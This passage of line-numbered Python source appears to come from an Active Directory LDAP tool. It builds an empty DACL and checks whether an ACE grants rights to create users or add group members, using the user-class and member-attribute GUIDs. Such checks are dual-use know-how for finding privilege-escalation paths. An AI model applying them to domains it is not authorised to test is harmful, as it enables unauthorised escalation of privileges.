773 acl['Sbz1'] = 0
774 acl['Sbz2'] = 0
775 acl.aces = []
776 sd['Dacl'] = acl
777 return sd
779# Check if an ACE allows for creation of users
780def can_create_users(ace):
781 createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD)
782 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':
783 return False
784 userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2'
785 return createprivs and userprivs
787# Check if an ACE allows for adding members
788def can_add_member(ace):
789 writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP)
790 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':
791 return writeprivs
792 userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2'
793 return writeprivs and userprivs